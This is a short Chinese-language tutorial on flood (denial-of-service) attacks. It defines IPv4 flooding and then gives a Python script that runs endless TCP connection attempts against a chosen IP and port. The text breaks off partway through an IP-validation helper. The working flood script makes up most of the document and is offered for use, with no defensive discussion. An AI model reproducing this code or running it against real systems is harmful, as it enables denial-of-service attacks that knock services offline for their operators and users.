各类泛洪攻击总结
IPV4泛洪
一、什么是泛洪?
泛洪的基本原理就是基于协议通信,完成大流量高并发操作,导致目的主机各类资源消耗过多而无法提供正常的服务。基于多线程或多进程(MAC地址泛洪,ARP泛洪欺骗)。(1) 攻击端与目的主机之间能够正常通信。(2) 目的主机没有设置很好防御步调。
二、使用socket三次握手泛洪
[code]import socket
import threading
def socket_flood(ip, port):
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1) # 设置超时时间为1秒
s.connect((ip, port))
except socket.error:
pass # 忽略连接错误
if __name__ == '__main__':
def is_valid_ip(ip):
parts = ip.split('.')
if len(parts) != 4:
return False
for part in parts:
if not part.isdigit() or not 0 |